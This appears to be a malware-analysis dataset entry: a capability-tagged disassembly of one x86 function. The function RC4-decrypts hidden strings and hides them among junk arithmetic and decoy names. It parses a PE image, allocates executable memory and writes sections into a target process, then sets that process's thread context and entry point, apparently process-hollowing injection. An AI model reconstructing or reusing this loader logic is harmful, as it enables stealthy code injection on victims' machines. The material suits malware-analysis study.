Function at 0x41d8f4
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x394
push ebx
push esi
push edi
mov esi, 0x42c310
mov dword [esp + 0xd8], edx
lea edi, [esp + 0xf8]
mov dword [esp + 0x20], ecx
push 0x1a
pop eax
movsd dword es:[edi], dword [esi]
mov byte [esp + 0x54], al
mov byte [esp + 0x67], al
push 7
movsd dword es:[edi], dword [esi]
pop eax
mov byte [esp + 0x6a], al
mov dword [esp + 0x50], 0xe17639e3
movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [esp + 0x55], 0x5787d3d7
mov dword [esp + 0x59], 0x55e4c6a
xor eax, eax
mov dword [esp + 0x5d], 0xa7600981
mov dword [esp + 0x61], 0xcaa9bd71
mov word [esp + 0x65], 0xb21f
mov word [esp + 0x68], 0x16f7
mov dword [esp + 0x6b], 0x991984c1
mov dword [esp + 0x6f], 0xe94c7cb7
mov dword [esp + 0x73], 0x594ef4b1
mov dword [esp + 0x77], 0x3e567ac7
mov dword [esp + 0x7b], 0xad3f6356
mov dword [esp + 0x7f], 0xca9fc8f0
mov dword [esp + 0x83], 0xae487cec
mov dword [esp + 0x87], 0xeceec559
mov dword [esp + 0x8b], 0x1880780f
mov byte [esp + 0x8f], 0x5d
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41d9c2
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x110]
push 0xb
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0xf8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], bl
cmp esi, 0x100
jb 0x41d9d3
mov cl, byte [str.timed_out]
xor esi, esi
and dword [esp + 0x1c], 0
xor edi, edi
mov ebx, dword [0x43594c]
mov byte [esp + 0x13], cl
lea eax, [esi + 1]
movzx esi, al
xor eax, eax
test cl, cl
je 0x41da5c
add ebx, 0x2776ff12
inc eax
cmp byte [eax + str.timed_out], 0
jne 0x41da38
cmp eax, 0xd30
jne 0x41da5c
call fcn.0041d42f
xor ebx, 0xe74f96b2
jmp 0x41da62
xor ebx, 0x45c86ae3
mov cl, byte [esp + esi + 0x110]
mov eax, dword [esp + 0x1c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x1c], eax
mov al, byte [esp + eax + 0x110]
mov byte [esp + esi + 0x110], al
mov eax, dword [esp + 0x1c]
mov byte [esp + eax + 0x110], cl
movzx eax, byte [esp + esi + 0x110]
mov cl, byte [esp + 0x13]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + edi + 0x50]
mov byte [esp + edi + 0x310], al
inc edi
cmp edi, 0x40
jb 0x41da2c
push 6
pop eax
mov ecx, eax
mov byte [esp + 0x7c], al
mov esi, str.IndexEfsCertificateMapFail
mov dword [esp + 0x18], ebx
lea edi, [esp + 0x24]
mov byte [esp + 0x350], 0
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x50], 0xdaa22143
mov dword [esp + 0x54], 0xc1232cec
mov dword [esp + 0x58], 0xac0e2ba5
movsw word es:[edi], word [esi]
mov dword [esp + 0x5c], 0x97518e30
mov dword [esp + 0x60], 0xae0aec46
mov dword [esp + 0x64], 0xbf2e85c7
movsb byte es:[edi], byte [esi]
xor edi, edi
mov dword [esp + 0x68], 0xf5a68867
mov dword [esp + 0x6c], 0x85044c18
xor eax, eax
mov dword [esp + 0x70], 0x4d559d32
mov dword [esp + 0x74], 0x93270a22
mov dword [esp + 0x78], 0x903fbaef
mov dword [esp + 0x7d], 0xa60dfc9c
mov dword [esp + 0x81], 0x40b47bfc
mov dword [esp + 0x85], 0x7dce3cf
mov dword [esp + 0x89], 0xb784b6c4
mov word [esp + 0x8d], 0xe64
mov byte [esp + 0x8f], 0xf7
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41db79
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x110]
push 0x1a
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x24]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], bl
cmp esi, 0x100
jb 0x41db8a
and dword [esp + 0x1c], 0
xor edi, edi
mov ebx, dword [esp + 0x18]
xor esi, esi
lea eax, [edi + 1]
or ebx, 0xe54d59f3
movzx edi, al
mov eax, dword [esp + 0x1c]
mov cl, byte [esp + edi + 0x110]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x1c], eax
mov al, byte [esp + eax + 0x110]
mov byte [esp + edi + 0x110], al
mov eax, dword [esp + 0x1c]
mov byte [esp + eax + 0x110], cl
movzx eax, byte [esp + edi + 0x110]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + esi + 0x50]
mov byte [esp + esi + 0x358], al
inc esi
cmp esi, 0x40
jb 0x41dbd4
mov esi, 0x42c100
mov dword [0x43594c], ebx
lea edi, [esp + 0xf8]
mov byte [esp + 0x398], 0
push 7
pop eax
movsd dword es:[edi], dword [esi]
mov ecx, str.RtlUnregisterFeatureConfigurationChangeNotification
mov byte [esp + 0x35], al
push 0xc
pop eax
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x24], 0xf0ad93fc
mov dword [esp + 0x28], 0xe0b972a4
mov dword [esp + 0x2c], 0x99e0ad74
mov dword [esp + 0x30], 0x353dfca4
mov byte [esp + 0x34], 0x49
mov dword [esp + 0x36], 0xd9d4c169
mov dword [esp + 0x3a], 0xf90e40c4
mov byte [esp + 0x3e], 0xfe
mov byte [esp + 0x3f], al
mov dword [esp + 0x40], 0x2ffee0cb
mov dword [esp + 0x44], 0xd9fcedf
mov dword [esp + 0x48], 0xa451f1ae
mov dword [esp + 0x4c], 0x57f4c92e
movsb byte es:[edi], byte [esi]
call fcn.0041d231
mov al, byte [esp + 0x13]
lea edi, [esp + 0x90]
mov esi, str.no_protocol_option
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [esp + 0x90]
jne 0x41dd0e
xor esi, esi
test al, al
je 0x41dd0e
cmp byte [esp + esi + 0x90], 0
je 0x41dd0e
mov ecx, str.timed_out
call fcn.0041d231
mov al, byte [esi + 0x43597d]
inc esi
cmp al, byte [esp + esi + 0x90]
je 0x41dce6
xor edi, edi
xor eax, eax
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41dd12
xor esi, esi
mov dl, byte [esp + esi + 0x110]
mov eax, esi
and eax, 7
movzx ecx, dl
and ebx, 0x660c753b
movzx eax, byte [esp + eax + 0xf8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], dl
cmp esi, 0x100
jb 0x41dd23
mov dword [esp + 0x18], ebx
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x110]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x110]
mov byte [esp + edi + 0x110], al
mov byte [esp + ebx + 0x110], cl
movzx eax, byte [esp + edi + 0x110]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + esi + 0x24]
mov byte [esp + esi + 0x2e0], al
inc esi
cmp esi, 0x2c
jb 0x41dd6f
xor edi, edi
mov byte [esp + 0x30c], 0
mov dword [esp + 0x90], 0x4f8dd393
xor eax, eax
mov dword [esp + 0x94], 0xb6048543
mov dword [esp + 0x98], 0xdf4d3573
mov dword [esp + 0x9c], 0x8d7e04c7
mov dword [esp + 0xa0], 0x3b6def05
mov dword [esp + 0xa4], 0x446512ee
mov dword [esp + 0xe0], 0x73657268
mov dword [esp + 0xe4], 0x746c75
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41de23
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x110]
push 7
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0xe0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], bl
cmp esi, 0x100
jb 0x41de34
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x110]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x110]
mov byte [esp + edi + 0x110], al
mov byte [esp + ebx + 0x110], cl
movzx eax, byte [esp + edi + 0x110]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + esi + 0x90]
mov byte [esp + esi + 0x2c4], al
inc esi
cmp esi, 0x18
jb 0x41de7a
or dword [esp + 0x18], 0x4a6ebe69
lea edi, [esp + 0xf8]
mov esi, str.SrchPHMatrix
mov byte [esp + 0x2dc], 0
push 0x1a
pop eax
push 0xc
movsd dword es:[edi], dword [esi]
pop ecx
mov byte [esp + 0x37], al
mov dword [esp + 0x24], 0x62033434
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x28], 0xc59d6e12
mov dword [esp + 0x2c], 0x94f2e49d
mov dword [esp + 0x30], 0x26426d9
movsd dword es:[edi], dword [esi]
mov word [esp + 0x34], 0xedc0
mov byte [esp + 0x36], 0x87
mov dword [esp + 0x38], 0xb1de8174
movsb byte es:[edi], byte [esi]
xor edi, edi
mov dword [esp + 0x3c], 0x39132790
mov dword [esp + 0x40], 0x958bc139
xor eax, eax
mov dword [esp + 0x44], 0x3c444943
mov byte [esp + 0x48], cl
mov dword [esp + 0x49], 0xd8f4ea03
mov word [esp + 0x4d], 0x6599
mov byte [esp + 0x4f], 0x1f
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41df5f
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x110]
mov eax, esi
div ecx
movzx ecx, bl
push 0xc
movzx eax, byte [esp + edx + 0xfc]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], bl
cmp esi, 0x100
jb 0x41df70
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x110]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x110]
mov byte [esp + edi + 0x110], al
mov byte [esp + ebx + 0x110], cl
movzx eax, byte [esp + edi + 0x110]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + esi + 0x24]
mov byte [esp + esi + 0x50], al
inc esi
cmp esi, 0x2c
jb 0x41dfb6
mov eax, dword [esp + 0x18]
lea edi, [esp + 0x210]
push 0xc
pop ecx
mov esi, 0x42c70c
mov byte [esp + 0x7c], 0
rep movsd dword es:[edi], dword [esi]
and eax, 0xc8a3c9e8
mov dword [esp + 0xa8], 0xa5383af3
mov dword [0x43594c], eax
mov dword [esp + 0xac], 0x1fde92fd
movsw word es:[edi], word [esi]
xor edi, edi
mov dword [esp + 0xb0], 0xe4154570
mov dword [esp + 0xb4], 0xf9b09fb2
xor eax, eax
mov dword [esp + 0xb8], 0xc36cefce
mov dword [esp + 0xbc], 0x99edef35
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41e06f
xor esi, esi
xor edx, edx
mov bl, byte [esp + esi + 0x110]
push 0x31
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x210]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x110]
mov byte [esp + esi + 0x110], al
inc esi
mov byte [esp + edi + 0x110], bl
cmp esi, 0x100
jb 0x41e080
xor edx, edx
xor esi, esi
and dword [esp + 0x14], edx
push 0x52
pop ebx
lea eax, [edx + 1]
movzx eax, al
mov dword [esp + 0x10c], eax
mov al, byte [esp + eax + 0x110]
mov byte [esp + 0x13], al
movzx eax, al
mov dword [esp + 0xe0], eax
add eax, esi
movzx eax, al
mov dword [esp + 0x108], eax
call fcn.0041d551
push 0xe
pop ecx
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionStructuredQuery
lea edi, [esp + 0x210]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov dword [esp + 0xf4], eax
movsw word es:[edi], word [esi]
cmp byte [esp + 0x210], bl
jne 0x41e14a
mov cl, bl
test cl, cl
je 0x41e143
cmp byte [esp + eax + 0x210], 0
je 0x41e143
mov cl, byte [eax + 0x431ab1]
inc eax
cmp cl, byte [esp + eax + 0x210]
je 0x41e125
mov dword [esp + 0xf4], eax
call fcn.0041cbe4
mov esi, dword [esp + 0xf4]
cmp dword [esp + 0xd4], esi
jae 0x41e19f
mov edi, dword [0x43594c]
mov ebx, dword [esp + 0xd4]
call fcn.0041d2e0
cmp ebx, 0x182b
jne 0x41e17f
add edi, 0x37956167
sub edi, 0x21c70e42
call fcn.0041d712
inc ebx
cmp ebx, esi
jb 0x41e16c
push 0x52
mov dword [esp + 0xd8], ebx
mov dword [0x43594c], edi
pop ebx
mov esi, dword [esp + 0x108]
mov edx, dword [esp + 0x10c]
mov ecx, dword [esp + 0x14]
mov al, byte [esp + esi + 0x110]
mov byte [esp + edx + 0x110], al
mov al, byte [esp + 0x13]
mov byte [esp + esi + 0x110], al
movzx eax, byte [esp + edx + 0x110]
add eax, dword [esp + 0xe0]
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + ecx + 0xa8]
mov byte [esp + ecx + 0x24], al
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x18
jb 0x41e0cb
xor edi, edi
xor ebx, ebx
inc edi
mov byte [esp + 0x3c], bl
mov dword [esp + 0x1c], ebx
cmp dword [ebp + 0x10], edi
jne 0x41e227
mov ecx, dword [ebp + 0x14]
call fcn.0041c2f3
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
jne 0x41e227
push 3
pop eax
jmp 0x41ea37
push 0x10
lea eax, [esp + 0x94]
mov dword [esp + 0xe0], ebx
push ebx
push eax
call fcn.0040b587
push 0x48
lea eax, [esp + 0x270]
push ebx
push eax
call fcn.0040b587
add esp, 0x18
lea eax, [esp + 0xdc]
lea edx, [esp + 0x310]
mov ecx, edi
push eax
push ebx
push 2
push ebx
call fcn.0040a2e6
call eax
mov ecx, dword [esp + 0xdc]
call fcn.0040a2a8
lea ecx, [esp + 0xdc]
mov dword [esp + 0x2a4], eax
push ecx
push ebx
push 2
push eax
lea edx, [esp + 0x368]
mov ecx, edi
call fcn.0040a2e6
call eax
push ebx
push ebx
push 8
lea eax, [esp + 0x104]
mov dword [esp + 0x104], ebx
push eax
push 0x20007
push ebx
push dword [esp + 0x2bc]
lea edx, [esp + 0x2fc]
mov dword [esp + 0x118], 0x1000
mov ecx, edi
call fcn.0040a2e6
call eax
cmp dword [ebp + 0x10], edi
jne 0x41e4f0
mov eax, dword [0x43594c]
mov ecx, ebx
cmp byte [str.timed_out], cl
je 0x41e316
add eax, 0x8a61b659
inc ecx
cmp byte [ecx + str.timed_out], bl
jne 0x41e2ef
cmp ecx, 0x629
jbe 0x41e316
add eax, 0x9da9cd31
mov dword [0x43594c], eax
call fcn.0041d42f
jmp 0x41e32a
add eax, 0x1c33e6f9
mov ecx, str.RtlUnregisterFeatureConfigurationChangeNotification
mov dword [0x43594c], eax
call fcn.0041d231
mov dword [esp + 0xa8], 0x64f69b50
mov eax, ebx
mov dword [esp + 0xac], 0x686c75ca
mov dword [esp + 0xb0], 0xeed3897e
mov dword [esp + 0xb4], 0x1df3b3e3
mov dword [esp + 0xb8], 0x8ec53e8b
mov dword [esp + 0xbc], 0xfa28217c
mov dword [esp + 0xc0], 0x48d15f71
mov dword [esp + 0xc4], 0x67f29d4a
mov dword [esp + 0xc8], 0xe7588bb0
mov dword [esp + 0xcc], 0xff86027c
mov dword [esp + 0xd0], 0x65df538c
mov dword [esp + 0xe0], 0x7373656d
mov dword [esp + 0xe4], 0x656761
mov dword [esp + 0x14], ebx
mov byte [esp + eax + 0x110], al
inc eax
cmp eax, 0x100
jb 0x41e3bf
mov edi, ebx
mov ecx, 0x42d690
call fcn.0041cd81
cmp byte [str.timed_out], 0
mov esi, dword [0x43594c]
je 0x41e3f9
sub esi, 0x6380cf81
inc ebx
cmp byte [ebx + str.timed_out], 0
jne 0x41e3e9
call fcn.0041d2e0
cmp ebx, 0x19c4
jne 0x41e40e
imul esi, esi, 0xddbf4bf4
jmp 0x41e414
xor esi, 0x8216acf0
push 7
pop ecx
xor edx, edx
mov bl, byte [esp + edi + 0x110]
mov eax, edi
mov dword [0x43594c], esi
div ecx
movzx ecx, bl
push 0
movzx eax, byte [esp + edx + 0xe4]
add eax, dword [esp + 0x18]
add ecx, eax
movzx esi, cl
mov dword [esp + 0x18], esi
mov al, byte [esp + esi + 0x114]
mov byte [esp + edi + 0x114], al
inc edi
mov byte [esp + esi + 0x114], bl
pop ebx
cmp edi, 0x100
jb 0x41e3d0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x110]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x110]
mov byte [esp + edi + 0x110], al
mov byte [esp + ebx + 0x110], cl
movzx eax, byte [esp + edi + 0x110]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x110]
xor al, byte [esp + esi + 0xa8]
mov byte [esp + esi + 0x210], al
inc esi
cmp esi, 0x2c
jb 0x41e46b
xor ebx, ebx
lea eax, [esp + 0x1c]
push ebx
push ebx
push 4
push eax
push 0x20000
xor edi, edi
mov byte [esp + 0x250], bl
push ebx
push dword [esp + 0x2bc]
inc edi
lea edx, [esp + 0x22c]
mov ecx, edi
call fcn.0040a2e6
call eax
xor eax, eax
mov dword [esp + 0x260], 0x48
mov word [esp + 0x290], ax
lea edx, [esp + 0x2c4]
lea eax, [esp + 0x90]
mov dword [esp + 0x28c], 0x80001
push eax
lea eax, [esp + 0x264]
mov ecx, edi
push eax
push ebx
push ebx
push 0x808000c
push edi
push ebx
push ebx
push ebx
push dword [esp + 0x44]
call fcn.0040a2e6
call eax
test eax, eax
jne 0x41e565
mov ecx, dword [esp + 0x2a4]
call fcn.0040a2d2
cmp dword [ebp + 0x10], edi
jne 0x41e55e
push dword [esp + 0x1c]
call fcn.0042b9ff
pop ecx
push 5
jmp 0x41e221
mov esi, ebx
mov ecx, str.PROPSYS.dll
call fcn.0041cd81
mov ebx, dword [0x43594c]
add ebx, 0xfe6f7c8c
inc esi
mov dword [0x43594c], ebx
cmp byte [esi + str.RtlUnregisterFeatureConfigurationChangeNotification], 0
jne 0x41e567
mov eax, dword [esp + 0xd4]
mov dword [esp + 0x20], esi
cmp eax, esi
jae 0x41e6b2
mov esi, ebx
cmp eax, 0x18ee
jne 0x41e5fc
mov ebx, esi
or ebx, 0xe3ae9d2e
call fcn.0041d712
call fcn.0041d816
mov esi, 0x42d7fc
lea edi, [esp + 0xe0]
push 0x52
pop eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [esp + 0xe0], al
jne 0x41e5fc
xor esi, esi
test al, al
je 0x41e5fc
cmp byte [esp + esi + 0xe0], 0
je 0x41e5fc
call fcn.0041d2e0
mov al, byte [esi + 0x431ab1]
inc esi
cmp al, byte [esp + esi + 0xe0]
je 0x41e5d9
or ebx, 0xed192db8
call fcn.0041d2e0
push 0x12
mov al, byte [str.timed_out]
lea edi, [esp + 0x214]
pop ecx
mov esi, 0x42f758
xor edx, edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp al, byte [esp + 0x210]
jmp 0x41e64f
test al, al
je 0x41e655
cmp byte [esp + edx + 0x210], 0
je 0x41e655
call fcn.0041d2e0
mov edx, dword [esp + 0x14]
inc edx
mov al, byte [edx + str.timed_out]
cmp al, byte [esp + edx + 0x210]
mov dword [esp + 0x14], edx
je 0x41e62a
movzx eax, byte [esp + edx + 0x210]
movzx ecx, byte [edx + str.timed_out]
sub ecx, eax
cmp ecx, 0x677
jbe 0x41e683
add ebx, 0x1bbf2699
mov dword [0x43594c], ebx
mov esi, ebx
call fcn.0041d000
jmp 0x41e696
sub ebx, 0x64857f74
mov dword [0x43594c], ebx
mov esi, ebx
call fcn.0041d712
mov eax, dword [esp + 0xd4]
inc eax
mov dword [esp + 0xd4], eax
cmp eax, dword [esp + 0x20]
jb 0x41e5a2
xor edi, edi
inc edi
push dword [esp + 0x2a4]
lea edx, [esp + 0x54]
mov ecx, edi
call fcn.0040a2e6
call eax
mov ecx, dword [esp + 0x2a4]
call fcn.0040a2d2
cmp dword [ebp + 0x10], edi
jne 0x41e74d
mov esi, dword [0x43594c]
xor ebx, ebx
mov ecx, 0x4317e0
call fcn.0041d656
imul esi, esi, 0x723547c1
inc ebx
cmp byte [ebx + str.RtlUnregisterFeatureConfigurationChangeNotification], 0
mov dword [0x43594c], esi
jne 0x41e6df
mov eax, dword [esp + 0x14]
cmp eax, ebx
jae 0x41e743
mov edi, esi
cmp eax, 0x1ea3
jne 0x41e72c
mov edi, esi
mov ecx, 0x431760
and edi, 0x207164ab
mov dword [0x43594c], edi
call fcn.0041d656
mov eax, dword [esp + 0x14]
inc eax
lea esi, [edi - 0x2075e69a]
mov dword [0x43594c], esi
mov edi, esi
mov dword [esp + 0x14], eax
cmp eax, ebx
jb 0x41e709
push dword [esp + 0x1c]
call fcn.0042b9ff
pop ecx
push 0
push 0x18
lea eax, [esp + 0x2b4]
push eax
push 0
push dword [esp + 0xa0]
call fcn.0042b9e1
mov edi, 0x210
mov ecx, edi
call fcn.0040a2a8
sub dword [0x43594c], 0x38a81874
mov esi, eax
push 0
push edi
push esi
push dword [esp + 0x2d0]
push dword [esp + 0xb4]
call fcn.0042b9c3
add esp, 0x28
mov ecx, esi
call fcn.0040a2d2
mov eax, dword [esp + 0xd8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x41e7b9
push 6
pop edi
jmp 0x41e8a7
mov ebx, dword [eax + 0x3c]
and dword [esp + 0x18], 0
add ebx, eax
push 0x40
push 0x3000
mov dword [esp + 0x28], ebx
lea eax, [ebx + 0x50]
push eax
push 0
lea eax, [esp + 0x28]
push eax
push dword [esp + 0xa4]
call fcn.0042b9d7
mov esi, str.SrchDSSConnection
lea edi, [esp + 0xf8]
add esp, 0x18
xor eax, eax
movsd dword es:[edi], dword [esi]
push 0x52
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [esp + 0xe0], cl
jne 0x41e867
test cl, cl
je 0x41e826
cmp byte [esp + eax + 0xe0], 0
je 0x41e826
mov cl, byte [eax + 0x431ab1]
inc eax
cmp cl, byte [esp + eax + 0xe0]
je 0x41e808
mov edi, dword [esp + 0x20]
mov dword [esp + 0x14], eax
cmp edi, eax
jae 0x41e867
mov ebx, dword [0x43594c]
mov esi, eax
cmp edi, 0x939
jne 0x41e848
or ebx, 0xae8bfb72
xor ebx, 0xb33a2da0
mov ecx, str.HKEY_CURRENT_CONFIG
mov dword [0x43594c], ebx
call fcn.0041d231
inc edi
cmp edi, esi
jb 0x41e83a
mov ebx, dword [esp + 0x20]
mov ecx, dword [ebx + 0x54]
call fcn.0040a2a8
push dword [ebx + 0x54]
mov esi, eax
push dword [esp + 0xdc]
push esi
call fcn.0040b543
push 0
push dword [ebx + 0x54]
push esi
push dword [esp + 0x30]
push dword [esp + 0xac]
call fcn.0042b9cd
add esp, 0x20
mov ecx, esi
mov edi, eax
call fcn.0040a2d2
test edi, edi
je 0x41e8be
push 0
push dword [esp + 0x98]
call fcn.0042b9a5
pop ecx
pop ecx
mov eax, edi
jmp 0x41ea37
movzx esi, word [ebx + 0x14]
xor eax, eax
and dword [esp + 0x14], 0
add esi, 0x28
cmp ax, word [ebx + 6]
jae 0x41e942
add esi, ebx
mov ecx, dword [esi]
call fcn.0040a2a8
push dword [esi]
mov ecx, dword [esi + 4]
mov edi, eax
add ecx, dword [esp + 0xdc]
push ecx
push edi
call fcn.0040b543
mov eax, dword [esi - 4]
add eax, dword [esp + 0x24]
push 0
push dword [esi]
push edi
push eax
push dword [esp + 0xac]
call fcn.0042b9cd
add esp, 0x20
mov dword [esp + 0x20], eax
mov ecx, edi
test eax, eax
jne 0x41e99e
imul eax, dword [0x43594c], 0x298e4523
add esi, 0x28
mov dword [0x43594c], eax
call fcn.0040a2d2
mov ecx, dword [esp + 0x14]
movzx eax, word [ebx + 6]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, eax
jl 0x41e8d4
mov ecx, 0x2cc
call fcn.0040a2a8
or dword [0x43594c], 0x82bcd2b6
mov esi, eax
push esi
mov dword [esi], 0x10007
push dword [esp + 0x98]
call fcn.0042b9af
pop ecx
pop ecx
lea ecx, [esp + 0x24]
call fcn.0040b5df
mov ecx, dword [ebp + 8]
mov edi, eax
mov edx, edi
call fcn.0040ba1d
test eax, eax
jne 0x41e9c3
push dword [ebp + 0xc]
mov eax, dword [esp + 0xdc]
mov edx, ebx
push eax
mov ecx, eax
call fcn.0041c1cf
pop ecx
pop ecx
jmp 0x41e9c6
call fcn.0040a2d2
push 0
push dword [esp + 0x98]
call fcn.0042b9a5
or dword [0x43594c], 0xa608e655
mov eax, dword [esp + 0x28]
pop ecx
pop ecx
jmp 0x41ea37
mov eax, dword [ebx + 0x28]
add eax, dword [esp + 0x18]
mov ecx, edi
mov dword [esi + 0xb0], eax
call fcn.0040b8e6
push eax
xor ebx, ebx
push ebx
push edi
call fcn.0040b587
mov ecx, edi
call fcn.0040a2d2
push esi
push dword [esp + 0xa4]
call fcn.0042b9b9
push ebx
push 4
lea eax, [esp + 0x34]
push eax
mov eax, dword [esp + 0x2d0]
add eax, 8
push eax
push dword [esp + 0xb4]
call fcn.0042b9cd
push ebx
push dword [esp + 0xc0]
call fcn.0042b9a5
add esp, 0x30
mov ecx, esi
call fcn.0040a2d2
xor dword [0x43594c], 0x76a1fbff
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret